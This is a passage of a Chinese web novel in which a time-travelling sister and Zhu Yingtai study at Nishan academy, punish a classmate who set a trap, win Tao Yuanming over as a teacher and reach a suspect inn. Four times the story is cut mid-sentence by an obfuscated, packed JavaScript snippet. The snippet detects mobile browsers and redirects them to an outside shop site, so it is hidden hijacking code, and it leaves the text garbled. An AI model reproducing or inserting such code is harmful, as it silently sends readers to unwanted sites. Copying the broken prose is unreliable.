答案,就藏在历史中。 对不起了太宗皇帝陛下,祝英回在心里默念一声,而后微笑着回答:“君者,舟也。民者,水也。水能载舟,亦能——” “覆舟。” 祝英台眼神中爆发出一阵强烈到让人不敢直视的光芒,她猛地站了起来,胳膊一下子碰倒了桌上砚台,噼里啪啦的声音丝毫吸引不了她的注意力。 她几乎是尖叫出声:“姐——哥哥!所以,是百姓么!”那个问题的回答,是百姓么! 士人不是听从上天的指引而助皇帝治理百姓,而是为了天下百姓平安,而与皇帝同路?!! 祝英台亢奋地在房间里面踱步,倏然,她冷静了下来,扭头看向祝英回:“姐姐,司马氏不会接受的。” 短短几句话的功夫,皇帝宗亲就成了司马氏。之前他们是皇亲国戚天横贵胄,但现在!他们是败坏汉人江山的乌龟王八! 还一代接一代地下奴颜婢膝的蛋! 祝英回悠悠道:“王与马共天下,为朝政劳心劳力的是谢相。” “不接受又怎样?” 古灵精怪的祝小妹缓缓挑起一边眉,调笑道:“我观姐姐也并不逊色于王、谢。” 祝英回立刻正色,她以未来人的优势压唐太宗对历史问题做出的回答弯道超车,怎么敢和保全汉人最后一点容身之处的谢安丞相作比? 虽说此话的来源倒非太宗首创,可以很轻易回答,她气定神闲道:“荀子有言,君者,舟也,庶人者,水也。” “孟子更有‘民为重,社稷次之,君为轻’之言。我不过拾前人牙穗,你连这也不知?” 说着,姐姐的血脉压制逐渐发挥了作用:“我让你读的书,莫不是都没读?!” 祝英台立刻叫屈:“我读了,都认真仔细地读了,只不过一时没有想起……” 她的话音逐渐低落,姐妹二人定定地对视,突然齐齐起身,将还未来得及整理的书一股脑儿全倒了出来。 二人席地而坐,一本一本的翻,翻到可为此句做有力支撑的言论便抄写背诵下来,一字一字,一句一句,祝氏儒的学说便在这满地经典中悄然诞生。 六经注我?我注六经?谁对谁错?后人知之。 两姐妹翻书到大半夜,祝英回对经典这种东西兴趣其实并不大,她只是想蛊惑此时茫然无措的各家学说站到她这边而已。 但是祝英台却像极了那些皓首穷经的儒者,沉迷于经典之中不可自拔。 好在二人自制力都极佳,不曾误了第二日洗漱饮食念书的时间,只是面上难免带出了些疲惫之色。 她们端着饭碗坐到了饭桌上,二人不约而同地用手遮着唇,打了个小小的哈欠。 一道清傲的声音从旁侧传来:“如此困倦,莫非你二人昨晚上也下山了?” 祝英台扭头一看,登时瞌睡也没了火气也上来了,立马怼了回去:“我们下没下山,与你马文才什么相干?” 马文才猝不及防遭了她这一嘴,听她言谈,又好似真的下了山,也来气了,冷笑道:“在书院里还想着那档子事,不如乘早收拾东西回去吧!” 祝英台马上又要回嘴,祝英回倒是从马文才的话语中嗅出了一点不一样的意味,挥手拦住了妹妹:“马兄的意思是,昨晚有人下山了?” “下山作甚么?山上一应物品具全,没有的告诉采办,也买上来了。” 这就是明知故问了,那档子事儿还能是什么?祝英回用脚趾头都想得出来。 果然马文才涨红了脸,白玉也似的面容染上了一抹红霞,就连那精致的耳朵也红透了,却还要强撑着气势:“我哪里知道,不过最近几夜半夜被吵醒了罢了!” 说完,他把筷子一摔,就端着饭食起身走了。 祝英回笑了起来,那笑容中含着一丝莫名的意味,祝英台戳了戳姐姐:“哥哥……是怎么了?” 她便收敛了笑容,淡淡道:“无事,有人耐不住山上寂寞,下山狎妓罢了。” 狎妓。 祝英台如遭雷击:“他们……可是……” 祝英回打断了她,低声告诫:“没什么可是,礼崩乐坏,人性之恶被全然暴露出来,这不过是冰山一角罢了。” 二人齐齐沉默下来,匆匆吃完饭,便前往书堂读书。 书院规矩,卯正(六点)便须得到书堂念书,读半个时辰书,才开始上课,中间歇息一刻钟,直到午正(十二点)才能吃饭。 吃过午饭,歇息半个时辰就要继续上课。 下午多为骑射驾车,时间不定,何时太阳落山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340066|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,何时便可结束回宿舍。 课业很重,但两姊妹都觉得还好,也几乎无人在此事上掉队。 梁山伯荀巨伯等人就不说了,刻苦聪明又勤奋,纯靠读书才有资格上尼山书院。意外的是,王述也不曾掉队。 这小子脾气很炸,又有点蠢兮兮的,但读起书来竟似模似样。 王述读书本来就不算专心,捕捉到祝英台的目光之后翻了个白眼,竟然没生气:“看什么看?我不会读书我爹得打死我。” 祝英台不想承认自己看走眼了,便敷衍了过去:“我看你精神尚可,昨夜没出去?” 谁知王述竟一脸茫然:“啊?我?出去干什么?” 好的,她真的看走眼了。祝英台收回目光,专心致志地读起书来。 祝英回带着笑意拍了拍她的肩膀:“人不可貌相,海水不可斗量。我听闻蓝田侯家教很严。” 家教不严的世家子此时连连打哈欠,被同席一脚踹了出去,马文才看也不看这人,道:“瞌睡就站着醒醒脑子,再让我听到你打哈欠,我们就去猎场练练。” 跟马文才去猎场,那就是去当活靶子的。他又不像祝家两兄弟,没人敢拉扯。 一时间,书堂的读书声都弱了一线,那些想打哈欠的,也硬生生憋住了。 好容易熬过了一上午,下午教他们射箭的夫子讲完动作要领,让他们去试着猎点什么,就有不少人牵着马匹钻进林子里找个地方打瞌睡了。 独留梁山伯在原地笨拙地练习上马。 祝英台拉着缰绳留在原地,看起来似乎有些不忍,她悄悄拉了拉祝英回:“哥哥……” 身穿骑装,因为要流汗而未曾施加脂粉的祝英回闭了闭眼,一把拍开了祝英台的手,半是训斥半是提醒:“有事就说,如此扭捏作态倒像个小姑娘!” 祝英台惊觉自己把从前的习惯不自觉地表露出来了,一瞬间直起了身体,粗声粗气道:“哥,你看这人。” 祝英回看了一眼梁山伯:“看什么,他不会上马,夫子还在这里,哪里不会都能教,怎么,你觉得你比夫子教得更好吗?” 她扬了扬下巴,示意祝英台去看荀巨伯:“他还有个会骑马的朋友,不需要咱俩。” 尼山书院的学生穷到没见过马的还是少数,不少人甚至嫌弃马车颠簸,就是骑自己的爱马来的,其余人固然没有自己专门的马,但骑术还是学过的。 因而夫子教这么几个人完全绰绰有余。 祝英台看了一眼姐姐,又看了一眼梁山伯,犹豫不决,最后还是说:“哥,我去帮帮他。” 姐姐略带嫌弃地摆了摆手:“去吧。”随后就头也不回地驱马入山林,似乎是预备四处转转。 野味是不可能吃的,这辈子都不可能。 她座下马匹是学院中饲养的马匹,虽然不及马文才座下那匹烈马快而敏捷,但胜在温顺听话。 祝英回慢慢悠悠地在林中转圈,阳光从树叶缝隙中影影绰绰地透了下来,她抬起手,虚着眼睛从指缝里看温和的阳光,整个人都松弛了下来。 然而,一点窸窸窣窣的声音却陡然把她拉了回来。 祝英回并未勒马,而是装作未曾发现的样子继续前行。 而后,她看见了一根低到草丛里,极细的绊马索。 5. 猎 她翻身下马,掀开衣摆单膝跪在地上,仔细地打量那根绳子。 倏然,一道破空声响了起来,祝英回躲也不躲,伸手一捞就将那支箭矢捞在手里。 黑羽金漆身,做工精良,是很名贵的箭。 而书院中能随意用这种箭的,也只马文才一人。 她站了起来,攀住马鞍翻身上马,束的马尾在空中扬起一个弧度。 祝英回将那支金箭放进箭篓里,一扯缰绳,马鞭一声脆响:“驾!” 马文才还算好找,他性子里带着的争强好胜,一意只往深处走,此刻马匹上已经放了好些兔子獐子,但他自己仍是不太满意。 看了看天色,犹豫着要不要继续前行。 他拉弓搭箭,暗金的箭身在阳光下泛着柔和的光芒,那只原本应该中箭倒地的兔子却被马蹄声惊走。 马文才拧了眉,回头看向来人。 祝英回勒住马匹,话也不说,从箭篓里拔出那根箭,单手掷向他,悠悠道:“看看,这是你的东西吗?” 马文才稳稳托住箭身,都不用细看,就知道是自己的。 以他的聪明,当即就想明白了,呵笑一声:“有人看不惯你做点下三滥的事情不是很正常?拿着一支箭来质问我是什么意思?” 剑眉压着黑瞳,灼灼地注视着祝英回:“别告诉我,这种伎俩你都看不穿。” 祝英回啧了一声,微笑道:“看穿归看穿,但总得走一趟问问你马少爷,毕竟我不知道是不是大少爷头脑一热做出来的事情。” 马文才被她的称呼恶心得眉心蹙起:“别这么恶心我,还有,我和你过节没大到能让我去做这种事情。” 祝英回不置可否地点了点头:“你自己心里有数就行了,我不喜欢下次还有人拿这种低级的手段来烦我。” “别今天丢了支箭,明天丢了把刀的。” 十七八岁的少年正是要脸的时候,来了这么一出,只觉得自己被看轻了,浑身上下都不爽快。 他抿紧了唇,长睫遮盖了眼中的羞耻,拉不下脸来再说什么,也没心思再继续打猎了,干脆调转马头就回了大家集合的地方。 而那边,祝英台已然教会了梁山伯骑马,二人正说着话,祝英台看见姐姐回来了,便迎了上去:“哥哥,怎么样?” 祝英回笑道:“兔子狍子什么的倒是没打到,倒是打到了一支箭。” 祝英台不明所以:“打到的?不应该是捡到的么?” 便见她家姐姐挑了挑眉,她虽然没完全懂,但也心领神会了事情不简单。 直到回了宿舍,祝英回才将事情的来龙去脉跟她讲清楚了,祝英台霍然站了起来,怒不可遏:“有人拿箭伤你?” “哥哥,你看清是谁没有?!” 祝英回摇了摇头:“他跑得快,不过马文才咽不下被我奚落的气,咱们只需等着就好。” 祝英台想到了什么:“哥哥,你说会不会是……” 祝英回微笑一下:“我猜也是他。” 她对马文才的估计很准确,两日后的休沐,王述便颠颠地跑来跟她讲,马兄请她去自己的宿舍。 王述向来是有点怵她的,平日里那股子嚣张霸道的劲儿消失的无影无踪,老老实实说:“我不知道为什么,但是应该没什么问题。” 说着自己都不相信的话,王述心里发苦。做好了被祝英回收拾一顿,回去再被马文才收拾一顿的准备。 谁料祝英回只是略做思考,便爽快地答应了。 马文才与王述同住,宿舍倒是意外的干净整洁,书桌上摆着砚台笔墨,床边挂着一把刀。 角落里还摆了一张休憩用的小榻,时人爱化妆熏香,尤其是爱气味浓重的香,祝英回却一点儿也没闻到。 她礼貌地收回视线,看向了坐在床边擦弓的那人:“寻我做什么?” 马文才冷冷地抬头瞪了她一眼,然后从床下拖出来一个箱子,里面装着一个人。 一瞬间,这既视感极强的一幕让祝英回眼皮狂跳,但她很清楚这人不可能在书院杀人,便笑吟吟道:“怎么,马兄是邀请我与你一道埋尸吗?” 马文才早就回过神了,知道这整天笑着的小子就是故意那么说,好差使他的。虽然仍然没忍住把人绑来了,但存心想吓吓她。 此时见没吓住她,更气了。 一言不发地把箱子里软烂如泥的人拖了出来,绑在他平时用来练剑的剑麻柱上。 然后才说:“就是他,有什么要问的就问吧。” 祝英回上下打量着秦京生,神色竟有些苦恼:“我早有了些猜测,若是他的话,倒也没什么可问的。” 她笑意更深:“那我就不问了。” “马兄,你床边那柄刀可否借一下?” 马文才皱了皱眉,还没来得及说什么,便听一直像个死狗的秦京生爆发出了潜能,拼命挣扎:“不……不!马兄,这人不知好歹,我教训教训他,于你也是出了一口恶气啊!” “放了我,放了我吧马兄!” 他心知肚明自己接连两次犯到祝英回手里,此人看起来温和,实则最不好相与,只恨自己为什么一时冲动要去报复他。 秦京生拼命地游说马文才,生生给马文才气笑了:“你当我是王述那个傻子?被人当刀使都能不知道?” 说罢,他干脆起身把那柄刀从刀鞘里抽了出来,递给祝英回,自己双手抱胸站在一旁,冷眼看祝英回怎么处理。 他对祝英回有一种微妙地信任,也自信自己能在秦京生真有危险时拦住事情发展。 但他这种自信,秦京生理解不了,只觉得天都塌了。 祝英回弹了弹刀背,饶有兴致:“好刀。” 马文才:“自然是好刀。” 她啧了一声,好心好意地劝:“你也别太看不上王述,好歹人勤勤恳恳给你跑腿被你差使呢。” 马文才黑着脸,莫名感觉被嘲讽了,伸出一只手:“不用就还我。” 祝英回一笑,手中刀猝不及防地平削了出去,秦京生的尖叫声几乎穿破了房顶,却一个人都没来,想来还是这人打了招呼。 虽然脾气傲,但做事意外的周全,而且…… 马文才站在那里,他自小练习骑射,身高腿长,剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340067|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉星目挺鼻薄唇,他只将一头鸦发简单地用发带束了一下,清清爽爽的俊美。 祝英回遗憾地收回目光,不耐烦道:“叫什么叫,你脖子断了吗?” 一道细细的伤口在秦京生左侧脖颈显露出来,却没流多少血,他的断发飘飘荡荡地落了下来。 祝英回笑容温和,却怎么看怎么恶劣:“我本来是想将前因后果都告知夫子的,叫他把你逐出山门……” 秦京生呼吸停滞,就听见她继续说:“但我觉得,家事不好外传。” 刀锋贴在秦京生的脸边,随着祝英回的动作慢慢在他脸上划过,如此锋利的刀,却一点儿血痕都没留下:“所以,我另想了个法子。” 马文才看着她的刀平稳一挥,便将秦京生头发尽皆斩断,听着她含笑又轻慢的声音:“你就顶着这头断发,在书院里读书吧。” 她一刀砍断了绳子,将宝刀物归原主,真诚地赞叹了一声:“确实是好刀。” 马文才沉默半晌,说:“你的刀法也不错。” 祝英回有些惊讶地看了他一眼,笑意盈盈地接受了这份赞赏:“多谢,我也这么觉得。” 马文才轻嗤了一声,看向秦京生却是十足的冷漠:“还在这里呆着做什么,滚出去。” 秦京生仿佛失了全身力气,失魂落魄地一步步挪了出去,祝英回的笑容也收敛了:“我的脾气向来不算坏,对他,我已经很仁慈了。” 她看向马文才:“但是,他一定不会领情,也一定会干一点自以为聪明的事情。” 祝英回这次放过秦京生,是因为她和祝英台的身份经不起细查,为了不向夫子和山长解释前因后果时露馅才如此作为。 但下一次,秦京生一定会领受到足够的教训。 马文才对此一清二楚,但他冷眼撇了一眼祝英回:“你也别在这儿呆着。” 他马文才,最讨厌被人利用! 祝英回从容地步出,然后回了自己宿舍,继续与英台做计划。 然而,两方的关系却莫名缓和了下来,虽然不能说朋友,祝英台却感觉已经和寻常的同窗无异了。 书院里很是过了一段平静的日子,学骑射的在不知名祝氏子的帮助下刻苦奋进。 性子傲的莫名不爱使唤人了,越发独来独往。 脾气洒脱酷似先祖与其好友结合体的热衷于管闲事,用陷阱让那些爱下山的吃了不少亏却总是抓不到证据。 而夫子,也要迎来第一次改换了。 陈夫子学识很扎实,性格更是严肃,今日却在课堂上提出了一个让举座皆惊的提议。 荀巨伯倒吸一口气:“自己去找夫子?”他琢磨了片刻“也不是不行……反正夫子说了名姓,应该不难找。但是……” 梁山伯温和接上:“但是陶隐士性格洒脱,难的是怎么说服他来教我们。” 陶渊明,东晋诗人。 在座各位最‘了解’陶渊明的应当就是祝英回了,谁上学的时候还没背过陶渊明的几篇散文,被反复拷问他到底表达了些什么。 而现在,她是真的要去猜陶渊明到底在想什么了。 6. 隐士谓谁,陶也 陈夫子行动力很强,很快就把书院中的学生两两分组,各自派下山去寻找陶渊明,限时五天。 找到了陶渊明的,加五分。 劝动了他来任职的,再加五分。 陶渊明只有一个,这场竞争也只有一个人是十分。 这是一场比赛,胜者满分,败者…… 不及格。 祝英台与祝英回,马文才与王述,梁山伯与荀巨伯。 大家几乎默认了这场的胜利只会在这三组之中产生。 祝英台斗志满满,她和祝英回心照不宣地交换了一个眼神,祝英回合上书,笑道:“英台,咱们去看看,你能否辩得过陶隐士。” 祝英回不敢轻易去挑战陶渊明的眼力,能否看出她只是在蛊惑人,但是祝英台是切切实实把那句话奉为圭臬。 不怕辩着辩着陶渊明嘲笑她自己都不信还来辩经。 三组各自下山,好在陈夫子多多少少还是圈定了一定的范围,给了一点线索。 线索正是陶隐士最近写的诗句,流传还并不广,也不知陈夫子打哪儿听来的饮酒的第五篇。 祝英台走在路上,念着这首诗,满是赞叹:“采菊东篱下,悠然见南山。 “写的真好……” 随即遏制不住地雀跃起来:“哥哥,我们要去南山吗?” 祝英回摇了摇头,反问她:“你知道南山,是就叫南山,还是南向的山,还是陶隐士房子的南边,亦或是陶隐士为了韵脚这么写?” 前三者还有迹可循,但要是最后一种,恐怕姐妹俩找遍“南”山也找不到人。 祝英台有些失落:“那我们怎么寻呢?” 祝英回挑了挑眉:“你觉得陶隐士很擅长种地吗?” 呃…… 诗的确写得好,但是从他之前一首诗“草盛豆苗稀”的自嘲来看应该不怎么会种地。 祝英台秒懂姐姐的意思,又问:“那如若陶隐士这次干脆不种地了呢?” 她那个聪明绝顶的姐姐两手一拍:“那不就更简单了吗?做农民打扮住在乡间结果不种地反而种菊花的人,那不是简简单单就问出来了。” 她二人到市集上专门去寻那些来卖谷子麦子的老农,花了二两银子把对方的一车谷子全买了下来。 然后询问老农,有没有见过那种种地种的很差劲或者干脆不种地种菊花的人。 她们才问过了两三人,便听一个老农说:“咱村子里有那么个人,古里古怪的,说有钱吧,他自己又种地种菜,还住在我们那种小地方。” “但说没钱吧,他成天有酒喝,种地种的一塌糊涂,还有心思种他那花。” 老农摇了摇头,下了个结论:“这人就是在糟蹋地。” 祝英回强忍笑意,谢过了老农。 待老农走远了,祝英台嘶了一声,悄悄说:“所以那些真正的百姓,都是这么看隐士的吗?” 见她神情若有所思,祝英回就知道她又有所得,也不多问,只带着祝英台往那个无名小山村走。 而等到她们抵达之后,马文才和梁山伯几人也前后脚到了。 几人面面相觑,都有些惊讶,祝英台主动将自己这一组如何找到的这个地方一一道出,询问其余二组是如何找到的。 梁山伯温和地陈述:“若要种植观赏性的菊花,并不是什么地方都可以。须得光照充足且气温适宜,还需要肥沃的土壤。” “这样的地方并不多,我和巨伯询问过当地的农官,商议后便决定一一找过去。”他笑道“运气不错,这是我们找的第一个地方。” 荀巨伯插嘴:“隐士住的地方,风景必然极佳,再一排除,便没剩几个了。” ‘论作物的种植与环境的关系’ 马文才听完两人的话沉思一瞬,便道:“能看见夕阳,同时还能看见山的地方并不多,县衙有当地的堪舆图。” 王述得意道:“堪舆图可不是谁都能看的,我和马兄……” 马文才冷冷瞥了他一眼,成功把王述消了音。 ‘论视角与地形的关系’ 祝英回叹了一声个个都是搞情报的好苗子,便彬彬有礼道:“既如此,那我们谁先去试着说服这位隐士呢?” 越前面越有优势,越后面,说不得陶隐士就不耐烦了。 但…… “你们先寻到此处。” 梁山伯点头赞同:“马兄说的很是,先来后到之理,大家都是知道的。” 祝英台杵了杵姐姐,嘀嘀咕咕跟她说了点什么,祝英回诧异地看了她一眼,扭过头笑道:“还是你们二位先吧,英台说她的招得最后出才有奇效。” ……而且,这招太损了,要是先出影响了陶隐士对尼山书院的印象,祝英回有点儿亏心。 既如此,马文才比梁山伯先到,他便和王述最先进去了。 陶渊明正挽着袖子在院子里浇花,他嗅了嗅院中的菊花香气,看见马文才进来了,悠哉游哉地放下水壶:“尼山书院的学生吗?” 马文才点了点头,拱手行礼道:“学生马文才。” 王述同样行礼:“学生王述。” 陶渊明捻着胡须笑,并不介意给这些青涩的学生一次机会:“进来吧,我泡了上好的菊花茶。” “此处附近有泉眼,你们有口福了。” 马文才和王述的思路很简单,以教习学生,桃李满天下之荣打动他,以死后声名说服他。 可惜陶渊明并不为所动:“这很好,可惜不是我的愿望。”他一挥衣袖“二位请回吧。” 梁山伯和荀巨伯从国家大势谈起,表达了自己的忧国忧民,恳切地希望陶渊明能出山任教。 陶渊明点头道:“说得不错,看得出来你们的确是好孩子。但是天下大事多我陶渊明一个不多,少我一个不少。” “回去吧。” 看见四个人都出来了,祝英台惴惴不安地看了一眼姐姐,得到了一个鼓励的眼神之后,她鼓足了勇气上前行礼:“陶先生,学生祝英台。” “学生有一问,不知陶隐士在此处是做什么呢?” 这话一出,梁山伯四人一愣,全部看向祝英台,陶渊明也一愣,正待解释之时,便听见了祝英台真诚地发问: “糟蹋地吗?” 糟、蹋、地、吗。 祝英回忍不住衣袖遮脸低声笑了起来,这话说出口的嘲讽程度,比听见祝英台讲她的计划还要拉满了。 马文才侧眼看向了笑意盎然的祝英回,心知这损招必然有她一份,但细细琢磨之下,竟觉得也不无道理。 其余人张口欲打圆场,只是看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340068|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面的田地,一时之间竟无言以对,陷入了一片死一样的寂静。 陶渊明笑容崩裂,手一抖,掐断了自己几根胡子,祝英台当然不会只有这一句话,她持续输出:“或者是找个地方种菊花?” “又或者,无能为力,所以做了个逃兵?” 一句比一句扎心,陶渊明深吸了一口气,试图冷静下来,却最终败给了自己的情绪,怒火丛地一下窜了起来,咬牙切齿:“这位祝姓学子,还请入内,今日陶某就与你好好论一论道!” 祝英台从容拱手:“多谢陶隐士。” 二人前后入内辩经,祝英回倒是很放心。陶渊明屡次出仕又屡次归隐,看起来是因为不忿于官场的黑暗愤然归隐。 但既然如此,又为什么一点对江那边的忧愤都没有提到呢? 他所载欣载奔的,是离开了官场,还是不必再继续拷问自己“天子是为天之子,还是窃居神器蒙蔽世人的小人。” 民生多苦战火纷飞,人吃人之景遍地都是,陶渊明出仕期间廉政有为,他难道一点也没有看到?一点都不动容?只着眼于官场的黑暗和自己所受的委屈苦闷? 谁读书不是为了平天下?陶渊明这样的人更是。 概因陶渊明也是道心破碎的一员罢了,只不过他尚能依从本能,在沉醉于美酒给他织成的幻境时,还为这片江山做一点最后的事情。 他因理想而道心破碎,也因理想最后归于此处,要做一位不问世事的隐士。 祝英台能够替他重铸道心。 毕竟这可是历史给出的答案,加上祝英台理想主义的赤忱,不怕不能说服陶渊明。 倒是梁山伯眼内含着担忧,看向了映出两人身影的纱窗。 两人辩经的声音最开始并不大,还较为温和有礼,越到后面就越大,直到陶渊明激动的声音陡然大到大家都听得一清二楚:“你,你……?!” 随即就又没声了。 两人之间又恢复了之前那种低声探讨的状态,但是从窗纱上陶隐士骤然站起来手舞足蹈的样子看。 他的心情可没有声音那么平静。 不多时,二人出了房间,陶渊明满脸笑容,欣然道:“走吧!” 他面容振奋,目光灼灼,一看便知不仅被说服了,还被说服得很高兴。 祝英回笑了起来:“英台,你成功了。” 马文才好似第一日认识祝英台一般,将她从上到下打量了一遍,诧异道:“你倒是有些本事。” 祝英台不睬他,只看向姐姐,得意道:“不负哥哥所望。” 梁山伯笑着祝贺他:“英台,此次比试,你和英回当是夺得魁首!” 荀巨伯点头附和:“正是如此!大家都看在眼里!” 他二人意有所指,但不是指的是在场的任何人,书院中必然会有人以没有亲眼所见为由,去攻讦祝氏二人。 是提醒,也是保证他们绝不会任由他们乱说。 王述安慰自己:“没关系,我们第二呢!” 马文才都懒得理他了,看向姊妹二人,却发现她们似乎并不意外,不仅如此,颇为不以为意的样子。 为什么?是因为不怕旁人传闲话吗?他心中疑惑深深地埋了下去,此时,他却并没有问出口,而是道:“走吧,我和王述弄来了两辆马车。” 7. 黑店 两辆马车虽然坐得下七个人,却未免太过拥挤,更何况世道也并不是那么太平的,之前各组两两成队,目标小跑得快。 更何况就连最孱弱的梁山伯在这几个月的学习中也日渐强壮起来,就算真的遇到了山匪,也未必没有一拼之力。 但现在,陶渊明可是实打实的文人,虽然不曾沾染五石散这种东西,但是动起手来难免顾及不上。 于是,几人商议之后,将马车拆散只留一辆,给不善骑马的梁山伯、王述和陶夫子坐。 马文才和荀巨伯骑马开路,祝氏兄弟压后,以免碰上劫匪。 几人配剑的配剑,带刀的带刀,就连马车中也留了一把弓箭和一把短刀防身。 他们一看便是精英队伍,又神色警惕,走了大半日,竟真的一个心思不轨的人都没有碰到。 但是走了这么久,也难免困饿。 前不着村后不着店的地方,视野中却倏然出现了一家店铺。 祝英回按在剑柄上,脑子里止不住地蹦出来一个又一个的关键词:‘十字坡’、‘孙二娘’、‘人肉包子’。 祝英台注意到姐姐神色不对,刻意勒住马匹放慢速度,与姊姊肩并肩之后低声询问:“怎么了?” 祝英回同样低声回她:“你去跟前面那两个说一声,这里可能是个黑店。” 她顿了顿,又道:“罢了,我去说,你盯着这家店铺,如果有什么事情或者有人出来就出声示意。” 祝英台听她严肃,不由得认真起来:“好!” 叮嘱完妹妹,祝英回抽了一鞭子马,喝了一声:“驾。” 马匹吃痛,小步快跑,带着她越过了马车,追上了最前面的两个人。 马文才五感敏锐,早早听到她驱马的声音,此时侧头询问:“怎么了?” 祝英回言简意赅道:“这可能是黑店,人多便下药蒙翻,人少便改行打劫,剥了客人做人肉包子的那种。” 对于这种风格野蛮的抢劫,她也没什么经验,一时间也吃不准他们一行七人算人多还是算人少。 若是说人少,他们一行七个有六个带了兵器。若是说人多,十字坡里看着就只老板娘和老板,可别忘了,后面还招呼出来几个壮汉抬人呢。 马文才目光一闪,低声道:“这里前不着村后不着店,日暮渐渐西沉,若是露宿荒野,岂不是比一个黑店还要可怕的多?” 他们倒是不怕狼群熊瞎子,但是总要轮流守夜,劳心又劳力。 荀巨伯在旁边附和道:“不错,我们先进去看看。若是正经客栈,便各自歇息也就是了,果真是黑店,就把这里的人绑了住一晚也没什么不可以。” 祝英回一想,也是这个道理,不由得叮嘱:“我来便是让你们警惕些食水和莫名其妙的味道,入口的东西就是没药,也说不一定是什么肉。” 三人商议定见机行事,祝英回返回告诉祝英台和马车中的陶渊明等人,祝英台果然也没有反对意见,相反,还有些跃跃欲试。 梁山伯和陶夫子也并无意见,只是更加谨慎了些。 待到越发靠近,门口站着一个笑嘻嘻的女人,约摸二十七八岁的样子,敞开胸怀漏出桃红内衬,手里拿着桃粉绢帕。 她见有人来了,便热情地招了招手:“客官这边请!”随即扭头吩咐店里“快!给几位歇歇马。” 几人下了马,马文才与祝英回不着痕迹地对视一眼,一个放缓脚步,一个主动上前。 功夫最高的两人并肩走在最前面,陶渊明下了马车,神情平静,细看之下却有紧张和与祝英台如出一辙的跃跃欲试。 梁山伯提着弓,背着箭筒——这是马文才随身携带的,那柄短刀也是他的——和荀巨伯走在最后面。 那女子笑嘻嘻地叉手行了礼:“奴家姓莫,诸位叫我莫娘就是。”她的桃粉绢帕轻巧地直往前面两人身上扑“有什么事情,只管叫奴家就是——” 祝英回屏住呼吸往旁边一闪,马文才的退路被她堵死了,兜头盖脸地被那桃粉的绢帕和上面的香粉扑了一脸。 马文才:…… 他忍不住瞪了那小子一眼,却见祝英回挑了挑眉,屈指靠在鼻子下,意思是不要吸进去了。 几人陆续入内,他们还是两两一间房,陶渊明单独一间房,拿过钥匙便上了楼,他们自己带了干粮,并没有吃这里东西的意思。 客栈的小二栓好了马,进来看到这一幕,不由得看向老板娘,却见莫娘摆了摆手,浑然不在意的样子:“由他们,几个小毛孩儿还能翻天不成。” 一行人心中暗自防备,但是直到入夜,都没有任何异样发生。 王述伸了个懒腰,不以为意道:“祝英回就是太小心了,一家好好的客栈怎么可能……” 他的话戛然而止,因着他坐了大半天马车身体僵硬、平素锻炼又爱偷懒,直直地往另一边倒了过去。 他胡乱挥舞着手臂,噼里啪啦地把桌子上的摆件全打到了地上。 马文才正在床上闭目养神,就听见这傻子闹腾出的动静,一翻身坐了起来,正正好抬头对上了衣柜挪开后黑洞洞的洞口。 显然是王述刚才不知道碰到哪里,不小心打开的。 他目光一闪,站起来试探性地触碰,当碰到了衣柜旁边的一处凸起时,那红木大柜子便恢复了原位。 此时,门外传来了很轻的脚步声,他收敛了动静,两步迈到门口,悄无声息地骤然把门打开。 外面的莫娘笑吟吟地问:“客官,这是怎么了?好大动静啊!” 马文才侧身让她看王述:“无碍,他跌倒了,带倒了那些东西罢了。” 莫娘哦了一声,如丝媚眼婉转流淌在马文才身上:“客官,若是晚间寂寞,奴家就住……” 马文才无情地一把甩上了门。 莫娘也不恼,径直往祝氏姐妹房间去。 祝英回没那么容易觉得这间客栈没问题,就算不是完全的黑店,她前世见过旅馆肮脏事一二三也够她警惕起来了。 两个姑娘一顿摸索,便摸到了衣柜的机关,二人对视一眼,心知晚上恐怕就会有人从这里钻进来。 这时,敲门声响起,祝英回勾出一个笑容,便去开了门。 莫娘靠在门口,笑盈盈地用那双妩媚的眼睛瞅着她:“客官,若是晚间寂寞了,不若……” 祝英回挑高了一边的柳眉,故作遗憾:“这恐怕不行。”她伸手旖旎地用手背蹭了蹭莫娘脸侧“娘子美貌,可惜我意不在此。” 说着,她意有所指地看向莫娘来的方向。 莫娘脸色骤变,勉强笑了一声:“既然如此,那莫娘就祝客官得偿所愿了。” 一转身,她便翻了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 